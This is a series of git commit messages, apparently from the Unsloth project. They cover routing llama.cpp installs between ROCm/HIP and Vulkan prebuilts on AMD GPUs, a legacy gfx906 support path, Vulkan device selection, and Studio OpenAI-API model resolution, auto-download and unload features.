The ROCR-vs-HIP masking comments cite "a gfx1103 iGPU under a gfx110X
prebuilt" as an example of a GPU the build has no kernels for, but the
shipping gfx110X prebuilt does build gfx1103: unsloth-prebuilt-rocm.yml
passes -DGPU_TARGETS=gfx1100;gfx1101;gfx1102;gfx1103 on both Linux and
Windows, and the b10079 manifest maps all four. install.sh also routes
gfx1103 to gfx110X-all and is_rdna() includes it.
Swap in gfx1036 under gfx103X, which is genuinely unbuilt: that bundle
maps only gfx1030/1031/1032/1034.
Comment-only, no behavior change.
* feat(install): opt-in Vulkan llama.cpp backend and HIP gfx fallback (#7357)
Add UNSLOTH_LLAMA_BACKEND=vulkan and --llama-backend vulkan to force the
upstream Vulkan prebuilt on any host, persist llama_backend in the install
marker, and re-assert it during Studio updates.
On Windows AMD, auto-fallback to Vulkan when no detected gfx arch is in the
upstream win-hip-radeon GPU_TARGETS set (e.g. gfx803 / RX 480). Mixed setups
where at least one card is HIP-supported still default to HIP unless opted in.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(install): address Codex P2s on Vulkan gfx routing (#7357)
Honor ROCm family tokens (gfx110X), include fork-supported gfx1103, require
a known active gfx before auto-Vulkan, and base the HIP floor check on the
visible-device target instead of every physical GPU in hipinfo.
* Address Codex review: env namespace, physical-NVIDIA guard, test kwarg
- llama_backend_from_env: stop reading UNSLOTH_LLAMA_CPP_BACKEND. That is a
separate pre-existing setup variable meaning auto/cpu; setup.sh/setup.ps1
warn and ignore other values, so reading it here forced Vulkan behind that
warning. Vulkan opt-in stays on UNSLOTH_LLAMA_BACKEND / UNSLOTH_FORCE_VULKAN.
- _should_auto_vulkan_for_amd_windows: gate on not has_physical_nvidia (not
merely has_usable_nvidia). A CUDA-masked NVIDIA card keeps has_physical_nvidia
while has_usable_nvidia goes False; Vulkan ignores CUDA_VISIBLE_DEVICES and
could enumerate the reserved card. Mirrors the Intel auto path. Explicit
opt-in still overrides.
- test fakes: validate_prebuilt_attempts/validate_prebuilt_choice gained a
llama_backend kwarg; the four fake signatures in the fallback tests now
accept it, clearing the TypeError that reddened Backend CI / Repo tests (CPU).
Tests: UNSLOTH_LLAMA_CPP_BACKEND=vulkan no longer triggers Vulkan; hidden
physical NVIDIA suppresses AMD auto-Vulkan while explicit opt-in overrides.
* Keep gfx1034 on the ROCm path (fork gfx103X bundle covers it)
The WINDOWS_HIP_PREBUILT_GFX_TARGETS allow-list omitted gfx1034, so
_route_to_vulkan_prebuilt downgraded RX 6500/6400-class hosts to the upstream
Vulkan prebuilt before published_rocm_choice_for_host could match the fork
windows-rocm gfx103X bundle (whose members include gfx1034). Add gfx1034 to the
allow-list and a regression test asserting it stays on the fork ROCm asset.
* Fix auto-Vulkan stealing fork windows-rocm gfx908/gfx90a hosts for PR #7373
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix Vulkan marker claiming a backend that was never installed for PR #7373
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the Vulkan backend routing comments for PR #7373
* Keep the visible-device-aware gfx when setup forwards --rocm-gfx
setup.ps1 resolves the gfx arch from its own probe, and that pick is not
fully visible-device aware: neither the hipinfo nor the amd-smi branch
reads CUDA_VISIBLE_DEVICES, and the amd-smi branch matches a bare integer
only, so a comma-separated HIP/ROCR mask such as 1,0 also falls back to
GPU 0. The resulting arch was then forwarded through --rocm-gfx and
replaced the arch detect_host() had already resolved for the
runtime-visible GPU.
On a mixed-AMD Windows host that flipped the auto-Vulkan decision: with
GPU 0 gfx1100 and a masked-in gfx1010, the forward reinstated gfx1100,
_should_auto_vulkan_for_amd_windows() saw a HIP-supported arch and the
HIP bundle was installed for a GPU that cannot run it.
Fold the forward in as a fill rather than a replacement: it still supplies
the arch on amd-smi-only, driver-only and name-inferred hosts where the
probe reports none, which is what --rocm-gfx exists for, but no longer
overwrites a successfully detected active arch. An explicit
UNSLOTH_ROCM_GFX_ARCH stays authoritative, since it is the documented
manual override for hosts whose arch the probes get wrong.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope the Windows AMD Vulkan fallback per device and per repo
Three follow-ups on the auto-Vulkan routing for #7357.
Keep an explicit --rocm-gfx authoritative. The previous round stopped a
forwarded gfx from replacing an arch detect_host() had already resolved,
but --rocm-gfx is also the documented operator override for hosts whose
probe is wrong or stale, and both arrive as the same argv. Narrow the
advisory case to the two shapes setup can actually be describing: an arch
the probe saw on this host (setup picked a different physical GPU of the
same box), or a family label such as gfx110X, which is a bundle name the
update path derives from the marker asset rather than a real GPU arch.
Any other value is an override for an arch no probe reported and stays
authoritative. Keeping family labels advisory also preserves the rule that
an in-generation-but-unbuilt arch (gfx1033) is never upgraded into the
gfx103X bundle.
Do not auto-route to Vulkan from a HIP-only device mask. HIP_VISIBLE_DEVICES,
ROCR_VISIBLE_DEVICES and CUDA_VISIBLE_DEVICES select the active arch, but the
Vulkan runtime honours none of them: it enumerates through
GGML_VK_VISIBLE_DEVICES and Vulkan ordinals in
LlamaCppBackend._get_gpu_free_memory_vulkan. Masking down to a below-floor
card therefore used to install a backend that could still enumerate the
HIP-capable card the user deliberately hid, possibly one reserved for another
workload. Require every physical AMD gfx to be below the floor, matching the
has_physical_nvidia gate right above it. So the per-GPU list survives to that
check, a forward that agrees with the probe no longer collapses
rocm_gfx_targets to a single entry.
Make the HIP support predicate repository-specific. The floor constant is a
union of ggml-org's windows-hip gpu_targets and the fork's windows-rocm
bundles, so it only answers "is this arch served" for the fork. With
--published-repo ggml-org/llama.cpp, direct_upstream_release_plan() offers
win-hip-radeon then CPU and never Vulkan, so the four fork-only archs
(gfx908, gfx90a, gfx1034, gfx1103) were declared supported and fell through
to CPU instead of the Vulkan bundle that would actually run. Add
UPSTREAM_WINDOWS_HIP_GFX_TARGETS and select the set from the planned repo.
* Keep probe-confirmed AMD GPUs in the physical list when a gfx is forwarded
rocm_gfx_targets is the physical inventory _should_auto_vulkan_for_amd_windows()
reads, so a forwarded --rocm-gfx that the probe never reported was deleting cards
the probe had confirmed. On a mixed Windows AMD box whose active device is masked
down to a below-floor card, a stale UNSLOTH_ROCM_GFX_ARCH or a name-inferred arch
for the other GPU collapsed the list to that one arch, the floor check concluded no
AMD GPU on the host reaches the Windows HIP prebuilt, and the install auto-fell back
to Vulkan, which honours no HIP mask and would enumerate the reserved HIP-capable
card. Add the forwarded arch to the list instead of replacing it: it selects the HIP
target, it does not redefine what hardware is present.
An empty probe still yields a single-entry list, so the driver-only Windows AMD host
the forward exists for keeps its automatic Vulkan fallback, and an explicit
--llama-backend vulkan is unaffected.
* Do not auto-fall back to Vulkan when a HIP device mask filtered the probe
hipinfo is itself a HIP application, and AMD documents HIP_VISIBLE_DEVICES as
"only devices whose index is present in the sequence are visible to HIP", with
that spelling recommended on Windows. Under a mask the Windows probe therefore
enumerates the visible devices, so rocm_gfx_targets is what survived the mask
rather than the physical inventory the auto-Vulkan floor check assumes. A
masked-out gfx1100 next to a visible gfx803 made the check conclude that no AMD
GPU on the box reaches the Windows HIP prebuilt and route the install to Vulkan,
which honours none of these masks and would enumerate the reserved card.
Decline to guess when a mask is set: the physical inventory is unknowable from a
masked probe, so keep the HIP / fork / source path. This only ever turns the
automatic fallback off, never on. The driver-only single-GPU host the fallback
exists for sets no mask, an all-hiding "" / -1 mask is still handled as no active
target rather than a partial view, and an explicit --llama-backend vulkan or
UNSLOTH_LLAMA_BACKEND=vulkan is unaffected.
Reading the physical inventory through an unmasked re-probe would also correct
_pick_rocm_gfx_target, which indexes the token list by the mask value and so
already assumes an unmasked probe. That is pre-existing behaviour on main and is
left alone here.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Treat an all-hiding HIP device mask as suppressing the Vulkan fallback too
The mask guard exempted an empty or -1 value on the grounds that the probe reports
no active target under it, but that only holds for the probe: a forwarded
--rocm-gfx still reconstructs an active arch, and setup infers that arch from the
display-adapter name, which no HIP mask touches. A user who hid every AMD GPU from
HIP could therefore still be auto-routed to Vulkan, which honours none of these
masks and would then use all of them. That is the strongest form of the hazard the
guard exists for, not an exemption from it.
Presence of any of the three variables is now the whole test, which also removes
the value parsing. An explicit --llama-backend vulkan or UNSLOTH_LLAMA_BACKEND is
still unaffected.
* Grant the fork-only Windows HIP coverage to the fork, not to every mirror
The floor set is a union of the fork's windows-rocm bundles and only the fork is
planned from its manifest: resolve_simple_install_release_plans() compares
== DEFAULT_PUBLISHED_REPO and sends every other --published-repo through
direct_upstream_release_plan(), whose AMD branch offers win-hip-radeon then CPU
and never Vulkan. Exempting only the exact ggml-org spelling therefore told a
mirror carrying upstream-standard assets that fork-only archs such as gfx1034,
gfx1103 and gfx908 were HIP-served, landing them on HIP or CPU instead of the
Vulkan bundle that would actually run. Gate on the fork instead.
Matching the dispatch exactly, spelling included, also fixes a differently cased
repo: that really does take the upstream path, so it must be answered with
upstream coverage rather than the fork superset. An empty repo still defaults to
the fork, as the resolver does.
* Derive the Windows HIP gfx floor guard from the published manifest
The guard compared WINDOWS_HIP_PREBUILT_GFX_TARGETS against a second hardcoded
tuple in the same test file, so a windows-rocm arch newly published by the fork
passed both. Affected hosts would then be routed off the hash-approved fork ROCm
bundle onto an unhashed upstream Vulkan build with nothing failing.
Read the fork's llama-prebuilt-manifest.json through the installer's own
resolver instead, and assert the floor, the family labels, and the routing
tuple all still cover what it publishes. The manifest ships only as a release
asset, so an unreachable release skips with an explicit reason rather than
flaking. Both literals match the manifest as published today.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Compress the Vulkan backend routing comments and docstrings for PR #7373
* Correct the family-label rationale in the Windows HIP coverage check
The comment justified serving gfx103X / gfx110X against any repository by
claiming upstream's windows-hip targets build every member of those families.
The fork manifest maps gfx103X to gfx1030..1032 plus gfx1034 and gfx110X to
gfx1100..1102 plus gfx1103, and UPSTREAM_WINDOWS_HIP_GFX_TARGETS carries
neither gfx1034 nor gfx1103, so the stated reason is wrong even though the
answer is right.
State the real reason instead. A family label is a bundle name, not an arch,
so the concrete GPU is unknown at this point; answering unsupported to cover
the two uncovered members would move gfx1030..1032 and gfx1100..1102 off a
working HIP build onto Vulkan for a card the label cannot identify. Those two
archs still reach Vulkan through the concrete-arch branch below, which does
answer per repository.
Comment only. No behaviour change: the 5850-combination override sweep still
reports 0 rocm_gfx_target changes, 0 auto_vulkan False to True flips and 680
True to False flips all backed by a probe-confirmed HIP GPU, and both the
feature and override profile matrices are byte-identical.
* Pin that a deliberate CPU install outranks Vulkan for PR #7373
UNSLOTH_LLAMA_CPP_BACKEND (setup.sh / setup.ps1, "auto" or "cpu") and
UNSLOTH_LLAMA_BACKEND (this module, a backend name) are separate variables at
separate layers, and both accept "cpu". setup translates its own =cpu into
--force-cpu, which is what pins the CPU-only bundle on a GPU host and keeps
Intel iGPU Vulkan crashes away (#7213), so no trigger this PR adds may
outrank it.
_route_to_vulkan_prebuilt already gets this right, since force_cpu
short-circuits ahead of the forced, auto-Intel and auto-no-HIP triggers.
Cover it so it stays that way: the matrix runs [Linux, Windows, macOS] x
[NVIDIA, AMD, Intel, CPU only] x [unset, vulkan, hip, rocm, cpu] with the
legacy UNSLOTH_FORCE_VULKAN set as well, and asserts the published bundle
survives every one. WSL presents as Linux to this resolver, so it rides the
Linux row.
Also assert the guard is not vacuous: the same host still takes Vulkan once
the CPU pin is gone, so the matrix cannot pass on a resolver that had simply
stopped routing to Vulkan.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Comment-only follow-up to #7454. That change carried 523 comment lines, many of
them three and four line preambles where one line says the same thing. This
collapses them and drops the ones restating what the code already says, for a
net 77 lines.
Scope is limited to comments #7454 itself introduced. The files it touched hold
about 3,761 comments in total; the rest predate it and are untouched, verified
by checking that every removed line is one that commit added.
Nothing that records why a non-obvious decision was made was dropped, only
compressed. Still stated: the normcase-before-versus-after Windows separator
trap, the innermost-indexed-model rule for nested directories, an HTTPException
being a decision rather than a failure to decide, that only an explicit False is
anonymous to huggingface_hub while None borrows the server owner's login, the
fail-closed tri-state custom-code gate, and the regressions each test was
written for.
Code is provably unchanged: comment_tools.py check reports 17/17 files
comments-only. Backend CI command 10337 passed, 0 failed. tsc -b clean.
* Add CLI GPU memory mode selection
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve manual GPU layer overrides
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Add community-maintained legacy support path for gfx906 (MI50 / Radeon VII)
rocm6.4+/7.x torch wheels bundle ROCm libraries whose Tensile kernels
dropped gfx906 (rocBLAS 'TensileLibrary.dat ... not read for gfx906',
ROCm/TheRock#1844), so on MI50/Vega 20 hosts with newer ROCm the
installer picked wheels that fail at the first BLAS call. The rocm6.3
index is the last one whose wheels run on gfx906 (torch 2.7.0 verified
on MI50 32GB, up to 2.9 in community use). Dynamo/Inductor codegen is
also broken on this arch, crashing compiled graphs that train fine in
eager mode.
- install.sh: when the runtime GPU is gfx906 and the picked index is
newer than rocm6.3, reroute torch to the rocm6.3 index and reset the
constraint trio to the default <2.11 window (a rocm7.2 pick raises
the floor to 2.11, which rocm6.3 cannot satisfy), with a legacy-path
warning.
- install_python_stack.py: mirror the reroute in _ensure_rocm_torch
using the _default pkg specs, including repairing an existing
+rocm7.x torch and leaving a working rocm6.3 install alone.
- device_type.py: default TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE /
UNSLOTH_COMPILE_DISABLE on gfx906 (setdefault, user override wins).
Windows allowlists are untouched: repo.amd.com publishes no gfx906
wheel family (verified in the RDNA2 enablement PR). 16-bit LoRA and
full finetuning work out of the box; 4-bit QLoRA needs a source-built
bitsandbytes for gfx906. Based on the verified MI50 32GB setup in
namnguyen0503/mi50-gfx906-unsloth-bnb4bit-lab.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: second Codex pass (bnb skip under pin, override beats Strix)
- Compute the gfx906 runtime-target flag independently of any torch-index
pin or Strix override, so the bitsandbytes skip still applies when a user
pins the ROCm index and sets UNSLOTH_ROCM_GFX_ARCH=gfx906 (the pin
suppresses the torch reroute, not the bnb skip). Probe only when no pin
is set (an explicit pin means don't second-guess it, matching the Strix
path's asserted no-probe invariant); an explicit gfx906 override needs
no probe.
- Let UNSLOTH_ROCM_GFX_ARCH=gfx906 suppress the Strix reroute (both
install.sh and install_python_stack.py) so a mixed Strix + MI50 host
routes to rocm6.3 instead of the gfx1151 wheels probe order would pick.
- Fix test_hardcoded_torch_constraint: the default <2.11 window literal now
legitimately appears on two TORCH_CONSTRAINT= assignments (default + the
gfx906 reroute reset after the rocm7.2 floor bump); assert it only ever
appears on assignment lines, never on a pip install line (its real intent).
New tests: bnb skipped under an explicit pin, gfx906 override wins over
Strix, install.sh suppresses Strix on the override. rocm_support +
selection + cross-platform parity: 667 passed; structural constraint 9/9.
* gfx906: collapse single-line asserts to match pre-commit formatting
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: keep bnb skip + rocm6.3 routing correct under pins and suffixed overrides
Address the four Codex P2 findings on #7354:
- bnb skip under a pinned index (install.sh + install_python_stack.py):
a real gfx906 host that pins UNSLOTH_TORCH_INDEX_URL to rocm6.3 without also
setting UNSLOTH_ROCM_GFX_ARCH no longer reinstalls the generic bitsandbytes
wheel over a source-built gfx906 bnb. A pin now suppresses only the torch
reroute, not the gfx906 detection used for the bnb skip (Python drops the pin
gate on _runtime_is_gfx906; bash _is_gfx906_bnb_skip probes via
_probe_amd_gfx_arch when the index is pinned).
- clear the Radeon marketing-name flag for every gfx906 target, not only when
the >=6.4 reroute fires, so a Radeon VII already on rocm6.3 does not divert to
the repo.radeon.com branch (whose wheels lack gfx906 kernels).
- normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) before
the exact comparisons in install.sh and install_python_stack.py, mirroring
device_type.py.
Tests: relax the three Strix-pin tests (the gfx probe may now run for the bnb
flag but must not reroute the pinned index) and add coverage for the pinned
bnb skip, the suffixed override, and the bash Radeon-clear / pinned-probe paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: log skipped vLLM aimv2 fix + robust source-scan test bounds
Follow-up review polish:
- import_fixes: log at info level when the vLLM aimv2 fix is skipped because
the dist metadata is unreadable, so the skip is diagnosable instead of silent.
- test_rocm_support: bound the gfx906 install.sh source-scan on the ';;' that
closes its case arm via a shared _gfx906_reroute_block helper, replacing the
brittle fixed-length (3200/3800) slices that shift when the block grows.
* gfx906: trim whitespace on UNSLOTH_ROCM_GFX_ARCH in install.sh (py parity)
The bash gfx906 comparisons lowercased and stripped the gfx906:… feature
suffix but not surrounding whitespace, while the Python paths do .strip().
A stray newline (e.g. export UNSLOTH_ROCM_GFX_ARCH=$(cmd)) would make bash
miss gfx906 while Python catches it. Trim with `tr -d '[:space:]'` at both
comparison sites so the reroute target and bnb-skip agree across bash/Python.
* gfx906: remove generic bitsandbytes pulled in transitively after the skip
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Vulkan GPUs: real device names and selectable ordinals
Rebases the durable half of #7356 onto the inference_gpu transport #7476
landed on main. Those two PRs solve an overlapping problem and disagree on
the data model, so merging #7356 as-is would ship two parallel Vulkan
device concepts with different index semantics. This keeps main's transport
and adds what #7356 had that #7476 does not.
- _vulkan_probe.py emits a 5th column, ggml's device description, sanitized
for the tab protocol and UTF-8 safe. Reader tolerates 4- or 5-column
output so an older probe still parses.
- llama_cpp gains _run_vulkan_probe (shared parse) and
vulkan_device_inventory (names + is_igpu + real totals).
- get_vulkan_inference_gpu_info reports the real name and an explicit
is_igpu instead of "Vulkan<i>" and a total == 0 guess.
- index_kind becomes "vulkan", not "relative", and gpu_ids picks are
supported on Vulkan builds once the probe enumerated ordinals. The XPU ban
no longer applies to them: a Vulkan pick is a ggml ordinal, not a torch-xpu
index, so it works on an Intel host too.
- Frontend picker reads the Vulkan inventory as the pickable set.
Memory deliberately still comes from _get_gpu_memory, not the inventory.
That path applies _apply_igpu_host_reserve_mib and zeroes a shared total;
budgeting an APU off its raw shared total would hand out the whole machine's
RAM with no OS headroom. Identity is joined onto it by ordinal, so a probe
failure degrades to Vulkan<i> names with the memory readings intact.
Dropped from #7356 as superseded: validate_vulkan_gpu_ids (main's
resolve_requested_gpu_ids already rejects duplicates and
_resolve_gguf_gpu_ids_for_request already probes for existence), the
gguf_devices transport, and the iGPU budget fallback in 71619891e, which
main's aggregateGpuMemoryTotalGb handles better by counting a shared pool
once.
Also keeps #7356's removal of the late diffusion raise, so the graceful
gpu_ids drop stays reachable for a GGUF only classified as diffusion after
download. #7415's real guard, _reject_vulkan_diffusion_gpu_ids_before_
teardown, is untouched.
Verified on Windows + Strix Halo: backend Vulkan/GPU-selection suites at the
same 4 pre-existing failures as main, tests/studio 1671 passed with no new
failures, frontend typecheck clean. Hardware confirmation of the underlying
behavior is on #7356 from @Bebiv24 (RX 9070 XT + RX 480).
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: say which model is missing instead of "No model loaded"
A /v1 request naming a model that is not downloaded returned the generic
"No model loaded. Call POST /inference/load first.", which cannot fix it.
Return 404 model_not_found naming the model and listing what can serve,
and make the API usage examples name a model the server actually has.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: page the API monitor, show model load/unload, pin the example quant
The monitor rendered all 50 retained entries in one scroller: page it 5 at a
time, freezing history while paged back so live traffic cannot reorder it.
Add model load/unload rows so the feed shows what the server is doing, and
stop the header rendering the loaded model as a raw host path. Advertise each
model's GGUF quant on /v1/models so the example pins repo:QUANT, and move the
auto-switch section above the monitor with shorter copy.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: optionally download a model named in an OpenAI API request
Auto-switch only ever loaded models already on disk, so naming one this
server does not have either 404s or, when something else is loaded, gets
quietly answered by the resident model.
Add openai_api_auto_download_model (off by default, gated on auto-switch).
When on, a /v1 request naming a GGUF repo that is not downloaded starts a
background fetch and returns 503 with Retry-After and a typed
model_downloading code. The resident model keeps serving in the meantime,
and the retry after the download completes is served by the new model
through the existing auto-switch path.
The download reuses the Hub manager's service layer, which already does
repo-id validation, casing, claim bookkeeping, disk preflight, resume and
cancel. The in-loader download is deliberately not used: it silently falls
back to a smaller quant under low disk, which is wrong when the caller
named an exact one.
Admission is narrow, since a request only needs an API key:
- namespace/name only, so gpt-4 and other foreign ids fall through to the
resident model exactly as before
- GGUF only, decided from the remote file list rather than the repo name
- anything declaring auto_map is refused, so trust_remote_code stays a
deliberate opt-in in the UI and can never be granted over the API
- a single download at a time, plus a free-disk reserve
- one model_info call answers existence, gating and the quant list, so a
missing repo, a gated repo and a wrong quant each get their own error
With the setting off every one of these paths is byte-identical to before.
Also:
- monitor rows for downloads, with a live percentage
- public_model_id resolves an HF cache snapshot to its repo id, so a
cache-loaded model is no longer labelled with a commit sha; this drops
the duplicate helper added for the monitor and fixes the same leak in
the inference status response
- the unedited sk-unsloth-YOUR_KEY from the copyable examples now says so
instead of "Invalid or expired API key"; every other bad key keeps the
generic message
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: add an Unload button to the API monitor
The monitor names the loaded model but offered no way to free it. Idle
auto-unload is the only existing release path, and it needs a TTL and a
wait.
The button sits next to Refresh, appears only while a model is loaded and
is disabled mid-unload. /unload matches on the internal identifier, which
this response deliberately omits because it would be a host path, so the
click reads it from /api/inference/status the same way the chat runtime
does rather than widening the monitor payload.
Also stamp the manual unload row with the quant, read before the teardown
clears it, so it reads repo:QUANT like the load row it pairs with.
* Studio: keep the API monitor Unload button visible when idle
It only rendered while a model was loaded, which hid the one manual
release path at exactly the moment someone goes looking for it. Render it
always, disabled with a "No model is loaded" tooltip when there is nothing
to free.
* Studio: never answer a named model with a different one
Asking for a model this server is not serving returned 200 from whatever
was resident. Requesting gemma-4-E2B-it-GGUF:UD-Q6_K_XL while UD-Q4_K_XL
was loaded got a confident answer from the wrong quant, with nothing in
the response saying so.
A name carrying a namespace (org/model, optionally :QUANT) is a concrete
reference, so 404 instead, with the reason:
- wrong quant -> names the quants that are actually downloaded
- not on disk -> lists what is available
- on disk but auto-switch off -> says to turn it on
Ids without a namespace (gpt-4, claude-3, default) are foreign labels
rather than references, so they still fall through to the resident model
and drop-in clients are unaffected. A bare org/model is still satisfied by
any loaded quant of that repo; only an explicit :QUANT must match.
The check runs whatever the auto-switch and auto-download toggles are,
since serving the wrong weights is wrong in every configuration. It is
skipped when nothing is loaded, where the existing no-model-loaded error
already says the right thing, and when the model is on disk with
auto-switch on, where a failed swap should still fall back.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: use a simpler prompt in the API usage examples
"What is Unsloth Studio?" rather than "Can Unsloth Studio do API calling?".
One constant feeds all nine snippet tabs.
* Studio: only refuse a model reference meant for this server
A namespace alone was treated as a concrete model reference, so a /v1
request naming anthropic/claude-3.5-sonnet, openai/gpt-4o or any other
LiteLLM or OpenRouter style vendor/model id started returning 404 instead
of being answered by the resident model. Refuse only on evidence the
caller meant this server: an explicit GGUF quant label, or a repo that is
actually on disk here. gpt-4 and vendor/model alike fall through again,
while the wrong-quant and wrong-repo cases this PR exists for still
refuse.
Also from review:
- Release the single download slot by object identity, not repo id. A
stale watcher could clear a newer download of the same repo and let a
second multi-GB fetch start alongside it.
- Catch BaseException around admission: CancelledError is not an
Exception, so a cancelled request stranded the slot for the process
lifetime.
- Honour the download service's accepted=False, which it returns without
raising for a cross-variant conflict, instead of promising a download
that was never dispatched.
- Treat a failed status probe as unknown rather than idle, so a transient
read cannot fail the monitor row and free the slot under a live worker.
- Check gated repos with auth_check. The Hub serves metadata for a gated
repo without granting its files, so the licence gate was being reported
as the unrelated custom-code refusal.
- Size the disk reserve from the download plan, which includes the mmproj
and MTP companions the worker fetches with every quant.
- Never fetch under the server's own HF token. The repo is named by
whoever holds an API key, so the ambient token let that key pull the
owner's private repos.
- Refuse an explicit quant on a backend with no quant identity, gated on
the suffix really being a quant so Ollama style :latest tags still match.
- Raise instead of falling through when the diagnosis fails: the mismatch
is already established by then, only the wording is uncertain.
- Report a failed switch as 503 model_switch_failed rather than answering
as the resident model.
- Fail an open monitor row under the same lock as the check, so a finish
landing in between cannot stamp an error onto a completed row.
- Usage examples never emit a hardcoded model id: the catalog is tri-state
and the panel asks for a model to be loaded instead of printing one the
server cannot serve. It also refreshes when the loaded model changes.
- Keep the monitor pager reachable while frozen entries expire.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope the auto-download 404 cache to the caller's credentials
The Hub answers 404 for a private repo the caller cannot see, so caching
that verdict per repo alone let one anonymous request mark a private repo
unservable for everyone for the whole TTL. A later caller sending a valid
X-Unsloth-HF-Token skipped the probe and fell through to the resident
model instead of downloading what it asked for. Keyed on the repo id plus
a digest of the token now, so the token itself is never held.
Two more from the same review:
- Clear the chat runtime checkpoint after unloading from the API monitor,
as the chat eject flow already does. The store went on treating the
freed checkpoint as loaded and the usage examples kept naming it.
- Point gated and not-found callers at the X-Unsloth-HF-Token header.
Automatic download deliberately ignores the server's own Hugging Face
identity, so telling the user to add a token in Studio sent them round
the same 403 forever.
* Studio: tighten the comments added by this branch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep API auto-download off the server's Hugging Face identity
Passing None for the caller's token was not anonymous. spawn_worker
substitutes the backend's HF_TOKEN for a falsy one, and HfApi(token=None)
falls back to a cached login, so a repo named by an API-key holder could
still be fetched under the owner's Hub identity and land in the shared
catalog. The metadata probe and auth_check now pass an explicit False,
and dispatch threads allow_ambient_token=False so the worker stays
anonymous too. The flag defaults to True, so the UI download path keeps
the ambient fallback that private repos rely on.
Three more from the same review:
- Require an exact hf_variant match only when the suffix is really a
quant. The llama.cpp branch still compared Ollama style :latest and :8b
against the loaded quant and refused the resident model, which is the
opposite of what looks_like_quant classifies them as.
- Decode an HF cache repo id only when the models-- component is followed
by snapshots. An ordinary directory whose name merely starts with
models-- was being read as an encoded repo id.
- Return the probing response before consulting the job registry when an
adopted claim has no variant yet. A stale error on the whole-repo key
could otherwise release the slot the first request's probe still holds,
letting a second large download start beside it.
* Studio: stop treating a namespace as what decides model intent
The rule refused a reference only when it carried a namespace, which was
wrong in both directions. vendor/model is how LiteLLM and OpenRouter name
every provider, and a standalone or custom-folder GGUF is advertised
without one, so asking for a path-free local id such as model-Q4_K_M was
answered by whatever else happened to be resident. The slashless early
return is gone and the same evidence test now applies to every id: an
explicit quant, or a model that actually resolves here. gpt-4 and default
still fall through because they are not local, not because of their shape.
Also:
- Recognise bits-per-weight quant labels. _extract_quant_label emits
IQ4_XS-3.53bpw and the resolver and downloader both accept it, but
_GGUF_KNOWN_QUANT_RE has no bpw group, so looks_like_quant rejected a
reference the rest of the machinery understands.
- Upper-case the synthetic names handed to _pick_best_gguf. Its preference
tokens are upper case and matched case-sensitively, so a repo with
lower-case filenames skipped the preference and took the first entry,
which can be F16.
- Only offer a downloaded but unloaded model as a runnable example when
auto-switch is on. It is off by default, so the copied snippet hit the
no-model-loaded error, which is the failure this branch exists to fix.
The tool-passthrough cancel test stubbed asyncio.to_thread module-wide, so
it cancelled at the first thread hop rather than the generation hop it
means to test. Model resolution runs off the loop before the monitor row
opens, so that stub now passes the resolver through.
* Studio: tighten the comments added since the last pass
* Studio: match a resident model through its resolver alias
A manual load stores the model by its on-disk path while the resolver and
/v1/models advertise it as publisher/model, so _loaded_satisfies could not
recognise the alias. Reducing the resolution to a boolean then threw away
the load path that would have proved the match, and the request was
refused with 404 for a model the server was serving at that moment. Common
for LM Studio models and custom-folder aliases. The resolved path is
compared against the resident backend before anything is refused.
Also:
- Size disk admission on what is left to fetch. expected_bytes is the whole
plan, so a resumed quant or a companion already pulled in by another
quant was charged for twice and could 507 a download that fits. Cached
blobs are subtracted through existing_blob_bytes, the same accounting the
worker's own preflight does, and it falls open to the full size when no
blob hashes are available.
- Report a cancelled download as cancelled. The catch-all sent every state
other than complete or idle through fail_open, so a deliberate cancel
rendered as a download failure rather than the monitor's cancelled state.
- Keep polling the servable ids while nothing is loaded. The poll settled
as soon as auto-switch was on, so turning it back off left the examples
naming an unloaded model until something else remounted the panel.
* Studio: shorten the comments added in the last pass
* Studio: keep the FLA fast-path tests hermetic across transformers versions
_discover_fla_model_types scans the *installed* transformers for modeling
files importing `from fla.`, so `models/qwen3_5/` only exists from
transformers 5.x. The backend supports transformers>=4.51, and on a 4.x
install the Qwen3.5 gate returns False, so 14 tests in
test_training_worker_flash_attn.py silently exercised a no-op instead of the
install path and failed their call-count assertions.
